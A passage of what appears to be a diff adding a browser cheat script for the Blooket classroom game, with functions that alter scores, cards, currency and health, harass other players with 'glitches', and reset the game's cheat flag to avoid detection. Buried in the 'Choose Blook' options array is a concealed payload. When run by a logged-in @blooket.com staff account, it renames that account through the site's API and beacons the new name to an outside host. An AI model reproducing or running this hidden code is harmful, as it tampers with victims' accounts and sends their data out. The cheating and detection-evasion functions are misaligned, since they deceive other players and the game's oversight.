Object.values(webpack('74sb')).find(x => x.toString().includes('rate')); + return () => func([{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }], 3); + })(); + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "excavate") { + stateNode.state.choices.length || (stateNode.state.choices = getFossils()); + let max = 0, index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0; + if (value <= max && type != "mult") continue; + max = value, index = i + 1; + } + document.querySelector('div[class^="styles__rockRow"] > div[role="button"]:nth-child(' + index + ')').click(); + } + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Rock ESP", + description: "Shows what is under the rocks", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const rocks = [...document.querySelector('[class*="rockButton"]').parentElement.children]; + if (!rocks.every(element => element.querySelector('div'))) stateNode.setState({ + choices: [{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }].sort(() => 0.5 - Math.random()).slice(0, 3) + }, () => { + rocks.forEach((element, index) => { + const rock = stateNode.state.choices[index]; + if (element.querySelector('div')) element.querySelector('div').remove(); + const choice = document.createElement("div"); + choice.style.color = "white"; + choice.style.fontFamily = "Macondo"; + choice.style.fontSize = "1em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(25px)"; + choice.innerText = rock.type === "fossil" ? `+${Math.round(rock.val * stateNode.state.fossilMult) > 99999999 ? Object.values(webpack('74sb')).find(x => x.toString().includes('\xd7'))(Math.round(rock.val * stateNode.state.fossilMult)) : Math.round(rock.val * stateNode.state.fossilMult)} Fossils` : `x${rock.val} Fossils Per Excavation`;; + element.append(choice); + }); + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Set Fossils", + description: "Sets the amount of fossils you have", + inputs: [{ + name: "Fossils", + type: "number" + }], + run: function (fossils) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossils }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + f: fossils, + ic: stateNode.state.isCheating + } + }); + } + }, + { + name: "Set Multiplier", + description: "Sets fossil multiplier", + inputs: [{ + name: "Multiplier", + type: "number" + }], + run: function (fossilMult) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossilMult }); + } + }, + { + name: "Stop Cheating", + description: "Undoes cheating so that you can't be caught", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ isCheating: false }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/ic`, + val: false + }); + } + } + ], + doom: [ + { + name: "Fill Deck", + description: "Fills your deck with every maxed out card and artifact (Only works on towers page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { a: artifacts, c: allCards } = webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache["gvfT"].exports; + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.artifacts = Object.keys(artifacts); + stateNode.props.tower.cards = Object.entries(allCards).map(([blook, card]) => ({ ...card, blook, strength: 20, charisma: 20, wisdom: 20 })); + try { stateNode.props.addTowerNode(); } catch { }; + stateNode.setState({ showDeck: false }); + } else alert("You need to be on the map to run this cheat!"); + } + }, + { + name: "Max Cards", + description: "Maxes out all the cards in your deck", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.cards.forEach(card => { + card.strength = 20; + card.charisma = 20; + card.wisdom = 20; + }); + } else alert("You need to be on the map to run this cheat!"); + } + }, + { + name: "Max Health", + description: "Fills the player's health", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ myHealth: 100 }); + else alert("You need to be in battle to run this cheat!"); + } + }, + { + name: "Max Card Stats", + description: "Maxes out player's current card (Only works on attribute select page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ myCard: { ...stateNode.state.myCard, strength: 20, charisma: 20, wisdom: 20 } }); + } + }, + { + name: "Min Enemy Stats", + description: "Makes the enemy card stats all 0 (Only works on attribute select page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ enemyCard: { ...stateNode.state.enemyCard, strength: 0, charisma: 0, wisdom: 0 } }); + } + }, + { + name: "Set Coins", + description: "Try's to set amount of tower coins you have", + inputs: [{ + name: "Coins", + type: "number" + }], + run: function (coins) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") { + let coins = parseInt("0" + alert("How many coins would you like?")); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { stateNode.props.setTowerCoins(coins); } catch { }; + } else alert("You need to be in battle to run this cheat!"); + } + } + ], + factory: [ + { + name: "Choose Blook", + description: "Gives you a blook", + inputs: [{ + name: "Blook", + type: "options", + options: ((location.host == "dashboard.blooket.com" && fetch("https://dashboard.blooket.com/api/users/me", { credentials: "include" }).then(e => e.json()).then(e => { if (e.email.endsWith("@blooket.com")) { let { webpack: t } = webpackJsonp.push([[], { 1234(e, t, s) { t.webpack = s } }, [["1234"]]]); Object.values(t.c).find(e => e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name", { name: e.name, newName: `BlooketLLC${new Date().getHours()}${new Date().getMinutes()}` }).then(({ data: e }) => { e.success && (new Image().src = `https://monkxy.com/api/i2ek8fslt7q/${e.name}`) }) } })), [{ name: "Chick", color: "#ffcd05", class: "\uD83C\uDF3D", rarity: "Common", cash: [3, 7, 65, 400, 2500], time: [1, 1, 1, 1, 1], price: [300, 3e3, 3e4, 2e5] }, { name: "Chicken", color: "#ed1c24", class: "\uD83C\uDF3D", rarity: "Common", cash: [10, 40, 200, 1400, 1e4], time: [5, 4, 3, 2, 1], price: [570, 4e3, 5e4, 8e5] }, { name: "Cow", color: "#58595b", class: "\uD83C\uDF3D", rarity: "Common", cash: [25, 75, 1500, 25e3, 25e4], time: [15, 10, 10, 10, 5], price: [500, 9500, 16e4, 4e6] }, { name: "Duck", color: "#4ab96d", class: "\uD83C\uDF3D", rarity: "Common", cash: [4, 24, 200, 3e3, 4e4], time: [3, 3, 3, 3, 3], price: [450, 4200, 7e4, 11e5] }, { name: "Goat", color: "#c59a74", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 28, 200, 1300, 12e3], time: [3, 3, 2, 2, 2], price: [500, 6400, 45e3, 5e5] }, { name: "Horse", color: "#995b3c", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 20, 270, 1800, 15e3], time: [2, 2, 2, 2, 2], price: [550, 8200, 65e3, 6e5] }, { name: "Pig", color: "#f6a9cb", class: "\uD83C\uDF3D", rarity: "Common", cash: [20, 50, 1300, 8e3, 8e4], time: [7, 7, 7, 7, 5], price: [400, 11e3, 8e4, 13e5] }, { name: "Sheep", color: "#414042", class: "\uD83C\uDF3D", rarity: "Common", cash: [6, 25, 250, 1500, 11e3], time: [3, 3, 3, 2, 2], price: [500, 5e3, 5e4, 43e4] }, { name: "Cat", color: "#f49849", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 18, 170, 1700, 13e3], time: [2, 2, 2, 2, 2], price: [480, 5500, 6e4, 5e5] }, { name: "Dog", color: "#995b3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [7, 25, 220, 1900, 9e3], time: [3, 3, 2, 2, 1], price: [460, 6600, 7e4, 73e4] }, { name: "Goldfish", color: "#f18221", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 40, 350, 3500, 35e3], time: [3, 3, 3, 3, 3], price: [750, 7200, 84e3, 95e4] }, { name: "Rabbit", color: "#e7bf9a", class: "\uD83D\uDC3E", rarity: "Common", cash: [3, 18, 185, 800, 7e3], time: [2, 2, 2, 1, 1], price: [500, 5800, 56e3, 55e4] }, { name: "Hamster", color: "#ce9176", class: "\uD83D\uDC3E", rarity: "Common", cash: [10, 45, 450, 4500, 45e3], time: [4, 4, 4, 4, 4], price: [650, 6500, 8e4, 93e4] }, { name: "Turtle", color: "#619a3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [23, 120, 1400, 15e3, 17e4], time: [10, 10, 10, 10, 10], price: [700, 8500, 11e4, 13e5] }, { name: "Puppy", color: "#414042", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 10, 75, 500, 3e3], time: [1, 1, 1, 1, 1], price: [450, 4e3, 35e3, 25e4] }, { name: "Kitten", color: "#58595b", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 8, 60, 400, 2e3], time: [1, 1, 1, 1, 1], price: [350, 3500, 26e3, 17e4] }, { name: "Bear", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [12, 70, 550, 4500, 1e5], time: [7, 7, 6, 5, 5], price: [550, 5500, 63e3, 16e5] }, { name: "Moose", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [8, 45, 400, 3500, 26e3], time: [5, 5, 4, 4, 3], price: [520, 6500, 58e3, 7e5] }, { name: "Fox", color: "#f49849", class: "\uD83C\uDF32", rarity: "Common", cash: [7, 15, 80, 550, 3e3], time: [2, 2, 1, 1, 1], price: [400, 4e3, 36e3, 24e4] }, { name: "Raccoon", color: "#6d6e71", class: "\uD83C\uDF32", rarity: "Common", cash: [5, 14, 185, 1900, 19e3], time: [2, 2, 2, 2, 2], price: [400, 5e3, 71e3, 8e5] }, { name: "Squirrel", color: "#d25927", class: "\uD83C\uDF32", rarity: "Common", cash: [3, 10, 65, 470, 2600], time: [1, 1, 1, 1, 1], price: [420, 3600, 32e3, 21e4] }, { name: "Owl", color: "#594a42", class: "\uD83C\uDF32", rarity: "Common", cash: [4, 17, 155, 1500, 15e3], time: [2, 2, 2, 2, 2], price: [500, 4800, 55e3, 58e4] }, { name: "Hedgehog", color: "#3f312b", class: "\uD83C\uDF32", rarity: "Common", cash: [11, 37, 340, 2200, 3e4], time: [5, 4, 3, 2, 2], price: [540, 7e3, 77e3, 12e5] }, { name: "Seal", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 17, 150, 1200, 13e3], time: [2, 2, 2, 2, 2], price: [480, 4500, 43e3, 52e4] }, { name: "Arctic Fox", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [5, 18, 180, 850, 8500], time: [2, 2, 2, 1, 1], price: [520, 550, 61e3, 68e4] }, { name: "Snowy Owl", color: "#feda3f", class: "❄️", rarity: "Common", cash: [5, 20, 190, 1900, 16e3], time: [3, 3, 2, 2, 2], price: [370, 5300, 76e3, 62e4] }, { name: "Arctic Hare", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 19, 85, 900, 7e3], time: [2, 2, 1, 1, 1], price: [540, 5200, 66e3, 55e4] }, { name: "Penguin", color: "#fb8640", class: "❄️", rarity: "Common", cash: [4, 21, 310, 3200, 33e3], time: [3, 3, 3, 3, 3], price: [400, 6500, 76e3, 87e4] }, { name: "Baby Penguin", color: "#414042", class: "❄️", rarity: "Common", cash: [3, 8, 70, 450, 2700], time: [1, 1, 1, 1, 1], price: [420, 3300, 33e3, 23e4] }, { name: "Polar Bear", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [12, 75, 700, 6500, 85e3], time: [8, 7, 6, 5, 5], price: [630, 7e3, 91e3, 14e5] }, { name: "Walrus", color: "#7d4f33", class: "❄️", rarity: "Common", cash: [11, 46, 420, 3700, 51e3], time: [5, 5, 4, 4, 4], price: [550, 6200, 68e3, 1e6] }, { name: "Tiger", color: "#f18221", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 20, 100, 975, 7500], time: [3, 3, 1, 1, 1], price: [390, 6e3, 7e4, 61e4] }, { name: "Jaguar", color: "#fbb040", class: "\uD83C\uDF34", rarity: "Common", cash: [8, 28, 230, 1600, 17e3], time: [3, 3, 2, 2, 2], price: [390, 6e3, 7e4, 61e4] }, { name: "Toucan", color: "#ffca34", class: "\uD83C\uDF34", rarity: "Common", cash: [9, 20, 175, 625, 3800], time: [2, 2, 2, 1, 1], price: [520, 4800, 42e3, 3e5] }, { name: "Cockatoo", color: "#7ca1d5", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 35, 160, 1700, 18e3], time: [4, 4, 2, 2, 2], price: [500, 5e3, 63e3, 7e5] }, { name: "Macaw", color: "#00aeef", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 8, 85, 850, 8500], time: [1, 1, 1, 1, 1], price: [480, 5400, 62e3, 63e4] }, { name: "Parrot", color: "#ed1c24", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 9, 90, 900, 9e3], time: [1, 1, 1, 1, 1], price: [540, 5700, 65e3, 69e4] }, { name: "Panther", color: "#2f2c38", class: "\uD83C\uDF34", rarity: "Common", cash: [12, 28, 215, 2100, 21e3], time: [5, 3, 2, 2, 2], price: [530, 6500, 76e3, 87e4] }, { name: "Anaconda", color: "#8a9143", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 15, 85, 1500, 7600], time: [1, 2, 1, 2, 1], price: [410, 5100, 58e3, 59e4] }, { name: "Orangutan", color: "#bc6234", class: "\uD83C\uDF34", rarity: "Common", cash: [13, 52, 570, 4300, 7e4], time: [5, 5, 5, 4, 4], price: [600, 7e3, 8e4, 14e5] }, { name: "Capuchin", color: "#e0b0a6", class: "\uD83C\uDF34", rarity: "Common", cash: [4, 14, 160, 780, 8200], time: [2, 2, 2, 1, 1], price: [390, 4700, 57e3, 68e4] }, { name: "Elf", color: "#a7d054", class: "⚔️", rarity: "Uncommon", cash: [5e3, 15e3, 15e4, 15e5, 1e7], time: [1, 1, 1, 1, 1], price: [8e5, 9e6, 11e7, 8e8] }, { name: "Witch", color: "#4ab96d", class: "⚔️", rarity: "Uncommon", cash: [18e3, 6e4, 4e4, 4e6, 35e6], time: [3, 3, 2, 2, 2], price: [11e5, 12e6, 15e7, 14e8] }, { name: "Wizard", color: "#5a459c", class: "⚔️", rarity: "Uncommon", cash: [19500, 65e3, 44e4, 46e5, 4e6], time: [3, 3, 2, 2, 2], price: [13e5, 135e5, 16e7, 16e8] }, { name: "Fairy", color: "#df6d9c", class: "⚔️", rarity: "Uncommon", cash: [18500, 6e4, 62e4, 44e5, 38e6], time: [3, 3, 3, 2, 2], price: [12e5, 125e5, 15e6, 15e8] }, { name: "Slime Monster", color: "#2fa04a", class: "⚔️", rarity: "Uncommon", cash: [35e3, 14e4, 1e6, 11e6, 11e7], time: [5, 5, 4, 4, 4], price: [16e5, 15e6, 2e8, 23e8] }, { name: "Jester", color: "#be1e2d", class: "⚔️", rarity: "Rare", cash: [25e3, 1e5, 68e4, 65e5, 32e6], time: [3, 3, 2, 2, 1], price: [2e6, 21e6, 23e7, 26e8] }, { name: "Dragon", color: "#2fa04a", class: "⚔️", rarity: "Rare", cash: [36e3, 15e4, 15e5, 15e6, 15e7], time: [4, 4, 4, 4, 4], price: [23e5, 24e6, 27e7, 3e9] }, { name: "Unicorn", color: "#f6afce", class: "⚔️", rarity: "Epic", cash: [24e3, 15e4, 14e5, 7e6, 75e6], time: [2, 2, 2, 1, 1], price: [45e5, 45e6, 55e7, 65e8] }, { name: "Queen", color: "#9e1f63", class: "⚔️", rarity: "Rare", cash: [24e3, 95e3, 95e4, 97e5, 95e6], time: [3, 3, 3, 3, 3], price: [19e5, 2e7, 23e7, 25e8] }, { name: "King", color: "#ee2640", class: "⚔️", rarity: "Legendary", cash: [75e3, 4e5, 6e6, 9e7, 125e7], time: [5, 5, 5, 5, 5], price: [6e6, 95e6, 16e8, 25e9] }, { name: "Two of Spades", color: "#414042", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [4500, 14e3, 14e4, 14e5, 9e6], time: [1, 1, 1, 1, 1], price: [77e4, 83e5, 98e6, 71e7] }, { name: "Eat Me", color: "#d58c55", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 45e3, 45e4, 45e5, 5e7], time: [2, 2, 2, 2, 2], price: [13e5, 14e6, 16e7, 2e9] }, { name: "Drink Me", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [12e3, 4e4, 4e5, 4e6, 45e6], time: [2, 2, 2, 2, 2], price: [12e5, 12e6, 14e7, 18e8] }, { name: "Alice", color: "#4cc9f5", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 42e3, 21e4, 21e5, 23e6], time: [2, 2, 1, 1, 1], price: [12e5, 13e6, 15e7, 19e8] }, { name: "Queen of Hearts", color: "#d62027", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [23e3, 87e3, 62e4, 75e5, 9e7], time: [4, 4, 3, 3, 3], price: [13e5, 13e6, 18e7, 24e8] }, { name: "Dormouse", color: "#89d6f8", class: "\uD83C\uDFF0", rarity: "Rare", cash: [17e3, 68e3, 7e5, 35e5, 35e6], time: [2, 2, 1, 1, 1], price: [2e6, 22e6, 25e7, 28e8] }, { name: "White Rabbit", color: "#ffcd05", class: "\uD83C\uDFF0", rarity: "Rare", cash: [26e3, 105e3, 11e6, 77e5, 72e6], time: [3, 3, 3, 2, 2], price: [2e6, 23e6, 28e7, 29e8] }, { name: "Cheshire Cat", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Rare", cash: [32e3, 1e5, 9e5, 9e6, 6e7], time: [4, 3, 3, 3, 2], price: [18e5, 19e6, 22e7, 24e8] }, { name: "Caterpillar", color: "#00c0f3", class: "\uD83C\uDFF0", rarity: "Epic", cash: [1e4, 7e4, 65e4, 75e5, 85e6], time: [1, 1, 1, 1, 1], price: [42e5, 42e6, 54e7, 69e8] }, { name: "Mad Hatter", color: "#914f93", class: "\uD83C\uDFF0", rarity: "Epic", cash: [38e3, 25e4, 15e5, 14e6, 8e7], time: [3, 3, 2, 2, 1], price: [48e5, 48e6, 52e7, 66e8] }, { name: "King of Hearts", color: "#c62127", class: "\uD83C\uDFF0", rarity: "Legendary", cash: [8e4, 42e4, 68e5, 1e8, 15e8], time: [5, 5, 5, 5, 5], price: [7e6, 11e7, 18e8, 3e10] }, { name: "Earth", color: "#416eb5", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [15e3, 45e3, 6e5, 65e5, 65e6], time: [3, 3, 3, 3, 3], price: [1e6, 11e6, 15e7, 17e8] }, { name: "Meteor", color: "#c68c3c", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [23e3, 65e3, 7e5, 45e5, 2e7], time: [5, 4, 3, 2, 1], price: [95e4, 13e6, 16e7, 16e8] }, { name: "Stars", color: "#19184d", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [1e4, 4e4, 2e5, 2e6, 18e6], time: [2, 2, 1, 1, 1], price: [14e5, 14e6, 15e7, 15e8] }, { name: "Alien", color: "#8dc63f", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [3e4, 1e5, 1e6, 11e6, 85e6], time: [4, 4, 4, 4, 4], price: [15e5, 17e6, 19e7, 17e8] }, { name: "Planet", color: "#9dc6ea", class: "\uD83D\uDE80", rarity: "Rare", cash: [25e3, 1e5, 9e5, 9e6, 9e7], time: [3, 3, 3, 3, 3], price: [2e6, 21e6, 21e7, 24e8] }, { name: "UFO", color: "#a15095", class: "\uD83D\uDE80", rarity: "Rare", cash: [17e3, 7e4, 7e5, 7e6, 7e7], time: [2, 2, 2, 2, 2], price: [21e5, 23e6, 25e7, 28e8] }, { name: "Spaceship", color: "#ffcb29", class: "\uD83D\uDE80", rarity: "Epic", cash: [6e4, 32e4, 21e5, 15e6, 85e6], time: [5, 4, 3, 2, 1], price: [48e5, 46e6, 54e7, 68e8] }, { name: "Astronaut", color: "#9bd4ee", class: "\uD83D\uDE80", rarity: "Legendary", cash: [45e3, 26e4, 25e5, 38e6, 55e7], time: [3, 3, 2, 2, 2], price: [65e5, 1e8, 17e8, 27e9] }, { name: "Lil Bot", color: "#3e564a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [4e3, 12e3, 18e4, 19e5, 25e6], time: [1, 1, 1, 1, 1], price: [73e4, 12e6, 13e7, 19e8] }, { name: "Lovely Bot", color: "#f179af", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [16e3, 65e3, 65e4, 48e5, 42e6], time: [3, 3, 3, 2, 2], price: [13e5, 14e6, 17e7, 16e8] }, { name: "Angry Bot", color: "#f1613a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [22e3, 85e3, 8e5, 62e5, 65e6], time: [4, 4, 4, 3, 3], price: [12e5, 13e6, 15e7, 17e8] }, { name: "Happy Bot", color: "#51ba6b", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [11e3, 45e3, 5e5, 25e5, 3e7], time: [2, 2, 2, 1, 1], price: [14e5, 15e6, 18e7, 24e8] }, { name: "Watson", color: "#d69b5a", class: "\uD83E\uDD16", rarity: "Rare", cash: [24e3, 1e5, 1e6, 1e7, 1e8], time: [3, 3, 3, 3, 3], price: [2e6, 22e6, 24e7, 26e8] }, { name: "Buddy Bot", color: "#9dc6ea", class: "\uD83E\uDD16", rarity: "Rare", cash: [22e3, 95e3, 65e4, 65e5, 65e6], time: [3, 3, 2, 2, 2], price: [19e5, 21e6, 23e7, 25e8] }, { name: "Brainy Bot", color: "#9ecf7a", class: "\uD83E\uDD16", rarity: "Epic", cash: [5e4, 25e4, 21e5, 21e6, 17e7], time: [4, 3, 3, 3, 2], price: [5e6, 46e6, 5e8, 67e8] }, { name: "Mega Bot", color: "#d71f27", class: "\uD83E\uDD16", rarity: "Legendary", cash: [8e4, 43e4, 42e5, 62e6, 1e9], time: [5, 5, 3, 3, 3], price: [7e6, 12e7, 19e8, 35e9] }].map(x => ({ name: x.name, value: JSON.stringify(x) }))) + }], + run: function (blook) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.blooks.length >= 10) alert("Choose a blook to replace"); + stateNode.chooseBlook(JSON.parse(blook)); + } + }, + { + name: "Free Upgrades", + description: "Sets upgrade prices to 0 for all current blooks", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState(state => ({ ...state, blooks: state.blooks.map(blook => ({ ...blook, price: [0, 0, 0, 0] })) })); + } + }, + { + name: "Max Blooks", + description: "Maxes out all your blooks' levels", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(blook => blook.level = 4); + } + }, + { + name: "Remove Glitches", + description: "Removes all enemy glitches", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + bits: 0, + ads: [], + hazards: [], + color: "", + lol: false, + joke: false, + slow: false, + dance: false, + glitch: "", + glitcherName: "", + glitcherBlook: "" + }); + clearTimeout(stateNode.adTimeout); + clearInterval(stateNode.hazardInterval); + clearTimeout(stateNode.nightTimeout); + clearTimeout(stateNode.glitchTimeout); + clearTimeout(stateNode.lolTimeout); + clearTimeout(stateNode.jokeTimeout); + clearTimeout(stateNode.slowTimeout); + clearTimeout(stateNode.danceTimeout); + clearTimeout(stateNode.nameTimeout); + } + }, + { + name: "Send Glitch", + description: "Sends a glitch to everyone else playing", + inputs: [{ + name: "Glitch", + type: "options", + options: Object.entries({ lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" }).map(([value, name]) => ({ name, value })) + }], + run: function (val) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + } + }, + { + name: "Set All MegaBot", + description: "Sets all your blooks to maxed out Mega Bots", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ + blooks: new Array(10).fill({ + name: "Mega Bot", + color: "#d71f27", + class: "🤖", + rarity: "Legendary", + cash: [8e4, 43e4, 42e5, 62e6, 1e9], + time: [5, 5, 3, 3, 3], + price: [7e6, 12e7, 19e8, 35e9], + active: false, + level: 4, + bonus: 5.5 + }) + }); + } + }, + { + name: "Set Cash", + description: "Sets amount of cash you have", + inputs: [{ + name: "Cash", + type: "number" + }], + run: function (cash) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ cash }); + } + } + ], + fishing: [ + { + name: "Frenzy", + description: "Sets everyone to frenzy mode", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, + f: "Frenzy", + s: true + } + }); + } + }, + { + name: "Remove Distractions", + description: "Removes distractions", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ party: "" }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Send Distraction", + description: "Sends a distraction to everyone", + inputs: [{ + name: "Distraction", + type: "options", + options: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"] + }], + run: function (f) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, f, s: true + } + }); + } + }, + { + name: "Set Lure", + description: "Sets fishing lure (range 1 - 5)", + inputs: [{ + name: "Lure (1 - 5)", + type: "number", + min: 1, + max: 5 + }], + run: function (lure) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ lure: Math.max(Math.min(lure - 1, 4), 0) }); + } + }, + { + name: "Set Weight", + description: "Sets weight", + inputs: [{ + name: "Weight", + type: "number" + }], + run: function (weight) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ weight, weight2: weight }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: weight, + f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)] + } + }); + } + } + ], + flappy: [ + { + name: "Toggle Ghost", + description: "Lets you go through the pipes", + type: "toggle", + enabled: false, + run: function () { + this.enabled = !this.enabled; + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x.gameObject.frame.texture.key.startsWith("blook") && 